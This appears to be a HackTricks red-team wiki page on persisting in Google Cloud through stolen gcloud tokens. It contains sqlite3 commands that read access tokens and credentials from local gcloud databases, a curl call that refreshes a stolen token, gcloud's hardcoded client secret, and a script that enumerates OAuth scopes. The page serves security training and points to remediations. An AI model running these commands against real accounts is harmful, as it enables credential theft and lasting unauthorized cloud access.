GCP - Token Persistance

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Authenticated User Tokens

To get the current token of a user you can run:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Check in this page how to directly use this token using gcloud:

To get the details to generate a new access token run:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

It's also possible to find refresh tokens in $HOME/.config/gcloud/application_default_credentials.json and in $HOME/.config/gcloud/legacy_credentials/*/adc.json.

To get a new refreshed access token with the refresh token, client ID, and client secret run:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

The refresh tokens validity can be managed in Admin > Security > Google Cloud session control, and by default it's set to 16h although it can be set to never expire:

Auth flow

The authentication flow when using something like gcloud auth login will open a prompt in the browser and after accepting all the scopes the browser will send a request such as this one to the http port open by the tool:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Then, gcloud will use the state and code with a some hardcoded client_id (32555940559.apps.googleusercontent.com) and client_secret (ZmssLNjJy2998hD4CTg2ejr2) to get the final refresh token data.

Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.

OAuth Scopes

You can find all Google scopes in https://developers.google.com/identity/protocols/oauth2/scopes or get them executing:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

It's possible to see which scopes the application that gcloud uses to authenticate can support with this script:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do 
    echo -ne "Testing $scope         \r"
    if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
        echo ""
        echo $scope
    fi
done

After executing it it was checked that this app supports these scopes:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

it's interesting to see how this app supports the drive scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.

Check how to abuse this here.

Service Accounts

Just like with authenticated users, if you manage to compromise the private key file of a service account you will be able to access it usually as long as you want. However, if you steal the OAuth token of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the victim deletes the private api key, the OAuh token will still be valid until it expires.

Metadata

Obviously, as long as you are inside a machine running in the GCP environment you will be able to access the service account attached to that machine contacting the metadata endpoint (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).

Remediations

Some remediations for these techniques are explained in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated